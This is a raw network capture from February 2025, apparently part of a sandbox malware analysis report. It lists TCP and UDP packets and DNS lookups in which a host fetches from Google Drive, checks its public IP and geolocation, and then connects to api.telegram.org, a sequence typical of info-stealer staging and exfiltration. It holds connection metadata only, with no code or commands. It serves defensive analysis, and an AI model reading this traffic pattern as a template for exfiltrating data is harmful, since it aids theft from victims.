Feb 18, 2025 08:12:41.406105042 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.406152964 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.406181097 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.406214952 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.407912970 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.407952070 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.407969952 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.408015966 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.410603046 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.410649061 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.410664082 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.410703897 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.412483931 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.412544966 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.412559032 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.412596941 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.414932966 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.414993048 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.415019035 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.415051937 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.416902065 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.416946888 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.416956902 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.417005062 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.419100046 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.419148922 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.419164896 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.419210911 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.421138048 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.421189070 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.421195984 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.421233892 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.421240091 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.421273947 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.423324108 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.423387051 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.423403025 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.423443079 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.425380945 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.425421953 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.425457954 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.425494909 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.428607941 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.428647995 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.428662062 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.428697109 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.429590940 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.429630041 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.429640055 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.429672003 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.432607889 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.432656050 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.432672977 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.432707071 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.436480045 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.436537981 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.436558008 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.436597109 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.437243938 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.437295914 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.437304020 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.437341928 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.439014912 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.439069986 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.439080954 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.439116955 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.440685034 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.440737009 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.440751076 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.440784931 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.442620039 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.442756891 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.442771912 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.442785025 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:41.442821026 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.442898989 CET	63517	443	192.168.2.7	142.250.186.129
Feb 18, 2025 08:12:41.442909956 CET	443	63517	142.250.186.129	192.168.2.7
Feb 18, 2025 08:12:42.409105062 CET	63527	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:42.414060116 CET	80	63527	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:42.414863110 CET	63527	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:42.415150881 CET	63527	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:42.420008898 CET	80	63527	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:42.870929956 CET	80	63527	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:42.900765896 CET	63527	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:42.905617952 CET	80	63527	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:44.012267113 CET	80	63527	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:44.056523085 CET	63527	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:44.462223053 CET	63528	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:44.462277889 CET	443	63528	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:44.462337017 CET	63528	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:44.464837074 CET	63528	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:44.464852095 CET	443	63528	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:44.923330069 CET	443	63528	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:44.923437119 CET	63528	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:44.926954031 CET	63528	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:44.926959991 CET	443	63528	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:44.927239895 CET	443	63528	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:44.930967093 CET	63528	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:44.971369982 CET	443	63528	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:45.067378998 CET	443	63528	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:45.067462921 CET	443	63528	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:45.067533970 CET	63528	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:45.265784025 CET	63528	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:45.309144020 CET	63527	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:45.313941002 CET	80	63527	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:45.408365011 CET	80	63527	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:45.415148973 CET	63529	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:45.415205956 CET	443	63529	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:45.415335894 CET	63529	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:45.415663958 CET	63529	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:45.415683031 CET	443	63529	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:45.462784052 CET	63527	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:45.899331093 CET	443	63529	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:45.927876949 CET	63529	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:45.927906036 CET	443	63529	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:46.048991919 CET	443	63529	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:46.049048901 CET	443	63529	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:46.050127983 CET	63529	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:46.050127983 CET	63529	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:46.091579914 CET	63527	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:46.095235109 CET	63530	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:46.096564054 CET	80	63527	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:46.096862078 CET	63527	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:46.100122929 CET	80	63530	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:46.100294113 CET	63530	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:46.100373030 CET	63530	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:46.105176926 CET	80	63530	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:46.555290937 CET	80	63530	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:46.556955099 CET	63531	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:46.557002068 CET	443	63531	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:46.557303905 CET	63531	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:46.557471991 CET	63531	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:46.557486057 CET	443	63531	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:46.603528976 CET	63530	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:47.019875050 CET	443	63531	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:47.021994114 CET	63531	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:47.022015095 CET	443	63531	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:47.166657925 CET	443	63531	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:47.166727066 CET	443	63531	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:47.166831017 CET	63531	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:47.167449951 CET	63531	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:47.192131042 CET	63532	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:47.197047949 CET	80	63532	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:47.197192907 CET	63532	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:47.197560072 CET	63532	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:47.202392101 CET	80	63532	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:48.744066954 CET	80	63532	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:48.751993895 CET	63533	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:48.752039909 CET	443	63533	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:48.752115965 CET	63533	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:48.756194115 CET	63533	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:48.756206989 CET	443	63533	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:48.791064978 CET	63532	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:49.229815960 CET	443	63533	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:49.237720013 CET	63533	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:49.237744093 CET	443	63533	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:49.373193979 CET	443	63533	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:49.373270988 CET	443	63533	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:49.373400927 CET	63533	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:49.382738113 CET	63533	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:49.847615004 CET	63532	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:49.848428011 CET	63534	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:49.852586985 CET	80	63532	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:49.852677107 CET	63532	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:49.853178024 CET	80	63534	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:49.853418112 CET	63534	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:49.853418112 CET	63534	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:49.858247042 CET	80	63534	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:51.499892950 CET	80	63534	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:51.501224995 CET	63535	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:51.501264095 CET	443	63535	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:51.501410007 CET	63535	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:51.501696110 CET	63535	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:51.501708031 CET	443	63535	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:51.541007042 CET	63534	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:51.965481043 CET	443	63535	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:51.969245911 CET	63535	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:51.969278097 CET	443	63535	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:52.106807947 CET	443	63535	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:52.106885910 CET	443	63535	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:52.106942892 CET	63535	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:52.107369900 CET	63535	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:52.136337042 CET	63534	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:52.136941910 CET	63536	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:52.141983032 CET	80	63534	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:52.142021894 CET	80	63536	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:52.142080069 CET	63534	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:52.142124891 CET	63536	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:52.142263889 CET	63536	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:52.147001982 CET	80	63536	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:52.602129936 CET	80	63536	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:52.610713959 CET	63537	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:52.610765934 CET	443	63537	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:52.610824108 CET	63537	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:52.614823103 CET	63537	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:52.614839077 CET	443	63537	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:52.650320053 CET	63536	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:53.089579105 CET	443	63537	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:53.091438055 CET	63537	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:53.091456890 CET	443	63537	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:53.230307102 CET	443	63537	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:53.230480909 CET	443	63537	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:53.230535030 CET	63537	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:53.237868071 CET	63537	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:53.384533882 CET	63536	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:53.385674953 CET	63538	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:53.389714956 CET	80	63536	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:53.389769077 CET	63536	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:53.390506029 CET	80	63538	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:53.390563011 CET	63538	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:53.390738010 CET	63538	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:53.395479918 CET	80	63538	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:53.845184088 CET	80	63538	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:53.849642992 CET	63539	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:53.849689007 CET	443	63539	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:53.849781990 CET	63539	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:53.850032091 CET	63539	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:53.850047112 CET	443	63539	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:53.900362968 CET	63538	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:54.332978010 CET	443	63539	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:54.334837914 CET	63539	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:54.334861040 CET	443	63539	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:54.464688063 CET	443	63539	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:54.464750051 CET	443	63539	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:54.465023994 CET	63539	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:54.465289116 CET	63539	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:54.508961916 CET	63538	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:54.510268927 CET	63540	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:54.514857054 CET	80	63538	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:54.514925003 CET	63538	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:54.515348911 CET	80	63540	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:54.515465975 CET	63540	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:54.515631914 CET	63540	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:54.520458937 CET	80	63540	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:56.558365107 CET	80	63540	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:56.559977055 CET	63541	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:56.560034037 CET	443	63541	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:56.560129881 CET	63541	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:56.560463905 CET	63541	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:56.560475111 CET	443	63541	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:56.603528023 CET	63540	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:57.022506952 CET	443	63541	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:57.024348974 CET	63541	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:57.024359941 CET	443	63541	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:57.154206038 CET	443	63541	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:57.154256105 CET	443	63541	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:57.154350042 CET	63541	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:57.154872894 CET	63541	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:57.183162928 CET	63540	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:57.184231043 CET	63542	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:57.188231945 CET	80	63540	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:57.188297987 CET	63540	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:57.189018965 CET	80	63542	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:57.189146996 CET	63542	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:57.189256907 CET	63542	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:57.193959951 CET	80	63542	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:59.103393078 CET	80	63542	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:59.117448092 CET	63543	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:59.117501020 CET	443	63543	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:59.117558002 CET	63543	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:59.117867947 CET	63543	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:59.117882013 CET	443	63543	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:59.150362968 CET	63542	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:59.586476088 CET	443	63543	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:59.589459896 CET	63543	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:59.589493036 CET	443	63543	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:59.712023020 CET	443	63543	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:59.712188005 CET	443	63543	104.21.32.1	192.168.2.7
Feb 18, 2025 08:12:59.712256908 CET	63543	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:59.712650061 CET	63543	443	192.168.2.7	104.21.32.1
Feb 18, 2025 08:12:59.879895926 CET	63542	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:59.885032892 CET	80	63542	193.122.130.0	192.168.2.7
Feb 18, 2025 08:12:59.885118961 CET	63542	80	192.168.2.7	193.122.130.0
Feb 18, 2025 08:12:59.887972116 CET	63544	443	192.168.2.7	149.154.167.220
Feb 18, 2025 08:12:59.888036013 CET	443	63544	149.154.167.220	192.168.2.7
Feb 18, 2025 08:12:59.888115883 CET	63544	443	192.168.2.7	149.154.167.220
Feb 18, 2025 08:12:59.888660908 CET	63544	443	192.168.2.7	149.154.167.220
Feb 18, 2025 08:12:59.888746977 CET	443	63544	149.154.167.220	192.168.2.7
Feb 18, 2025 08:13:00.516921043 CET	443	63544	149.154.167.220	192.168.2.7
Feb 18, 2025 08:13:00.517076015 CET	63544	443	192.168.2.7	149.154.167.220
Feb 18, 2025 08:13:00.518990040 CET	63544	443	192.168.2.7	149.154.167.220
Feb 18, 2025 08:13:00.519006014 CET	443	63544	149.154.167.220	192.168.2.7
Feb 18, 2025 08:13:00.519247055 CET	443	63544	149.154.167.220	192.168.2.7
Feb 18, 2025 08:13:00.520731926 CET	63544	443	192.168.2.7	149.154.167.220
Feb 18, 2025 08:13:00.563335896 CET	443	63544	149.154.167.220	192.168.2.7
Feb 18, 2025 08:13:00.761652946 CET	443	63544	149.154.167.220	192.168.2.7
Feb 18, 2025 08:13:00.761725903 CET	443	63544	149.154.167.220	192.168.2.7
Feb 18, 2025 08:13:00.761826992 CET	63544	443	192.168.2.7	149.154.167.220
Feb 18, 2025 08:13:00.765845060 CET	63544	443	192.168.2.7	149.154.167.220
Feb 18, 2025 08:13:06.386292934 CET	63530	80	192.168.2.7	193.122.130.0

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 18, 2025 08:11:59.398865938 CET	53	55657	1.1.1.1	192.168.2.7
Feb 18, 2025 08:12:37.095917940 CET	52850	53	192.168.2.7	1.1.1.1
Feb 18, 2025 08:12:37.103137970 CET	53	52850	1.1.1.1	192.168.2.7
Feb 18, 2025 08:12:38.267386913 CET	56036	53	192.168.2.7	1.1.1.1
Feb 18, 2025 08:12:38.274765968 CET	53	56036	1.1.1.1	192.168.2.7
Feb 18, 2025 08:12:42.387128115 CET	60666	53	192.168.2.7	1.1.1.1
Feb 18, 2025 08:12:42.393852949 CET	53	60666	1.1.1.1	192.168.2.7
Feb 18, 2025 08:12:44.454107046 CET	53875	53	192.168.2.7	1.1.1.1
Feb 18, 2025 08:12:44.461522102 CET	53	53875	1.1.1.1	192.168.2.7
Feb 18, 2025 08:12:59.880649090 CET	62376	53	192.168.2.7	1.1.1.1
Feb 18, 2025 08:12:59.887293100 CET	53	62376	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 18, 2025 08:12:37.095917940 CET	192.168.2.7	1.1.1.1	0x5be8	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:38.267386913 CET	192.168.2.7	1.1.1.1	0xd637	Standard query (0)	drive.usercontent.google.com	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:42.387128115 CET	192.168.2.7	1.1.1.1	0x3e11	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:44.454107046 CET	192.168.2.7	1.1.1.1	0xc2e4	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:59.880649090 CET	192.168.2.7	1.1.1.1	0x142e	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 18, 2025 08:12:37.103137970 CET	1.1.1.1	192.168.2.7	0x5be8	No error (0)	drive.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:38.274765968 CET	1.1.1.1	192.168.2.7	0xd637	No error (0)	drive.usercontent.google.com		142.250.186.129	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:42.393852949 CET	1.1.1.1	192.168.2.7	0x3e11	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Feb 18, 2025 08:12:42.393852949 CET	1.1.1.1	192.168.2.7	0x3e11	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:42.393852949 CET	1.1.1.1	192.168.2.7	0x3e11	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:42.393852949 CET	1.1.1.1	192.168.2.7	0x3e11	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:42.393852949 CET	1.1.1.1	192.168.2.7	0x3e11	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:42.393852949 CET	1.1.1.1	192.168.2.7	0x3e11	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:44.461522102 CET	1.1.1.1	192.168.2.7	0xc2e4	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:44.461522102 CET	1.1.1.1	192.168.2.7	0xc2e4	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:44.461522102 CET	1.1.1.1	192.168.2.7	0xc2e4	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:44.461522102 CET	1.1.1.1	192.168.2.7	0xc2e4	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Feb 18, 2025 08:12:44.461522102 CET	1.1.1.1	192.168.2.7	0xc2e4	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
